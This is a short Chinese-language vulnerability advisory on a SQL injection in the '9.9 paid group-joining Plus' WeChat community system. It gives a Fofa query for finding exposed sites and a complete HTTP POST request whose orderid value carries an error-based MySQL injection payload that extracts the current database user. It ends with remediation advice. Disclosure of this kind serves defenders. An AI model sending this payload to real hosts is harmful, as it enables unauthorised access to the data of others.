0x01 漏洞描述:
2024年9.9付费进群Plus版系统是一种新的社群管理方式,用户通过支付9.9元人民币即可加入特定的微信群,享受群内提供的服务或资源。这种模式通常用于知识分享、资源下载、专业交流等社群,通过设置门槛来筛选成员,提高群组的专业性和互动质量。
在位于 /group/controller/Index.php 中的 wxselect 控制器通过input传入orderid 参数,并直接带入Where查询中,导致漏洞产生。
0x02 搜索语句:
Fofa:body="/website/index/login.html"
0x03 漏洞复现:
POST /group/index/wxselect HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
orderid=') AND GTID_SUBSET(CONCAT((MID((IFNULL(CAST(CURRENT_USER() AS NCHAR),0x20)),1,190))),5417)-- ylIU
获取当前用户如下
0x04 修复建议:
-
使用预编译语句:采用参数化查询和预编译语句(如Prepared Statements),可以确保输入数据作为参数处理,从而避免直接插入到SQL语句中。
-
输入验证:对用户输入进行严格验证,确保只接收合法范围内的数据。可以使用白名单策略,过滤掉所有非法字符。
-
最小权限原则:数据库账户应仅授予执行所需操作的最低权限,避免使用高权限账户连接数据库。
-
错误信息处理:避免在前端展示详细的数据库错误信息,以免泄露系统结构和数据库信息。
-
使用Web应用防火墙(WAF):部署WAF可以实时监测和拦截可疑请求,提供第一道防线。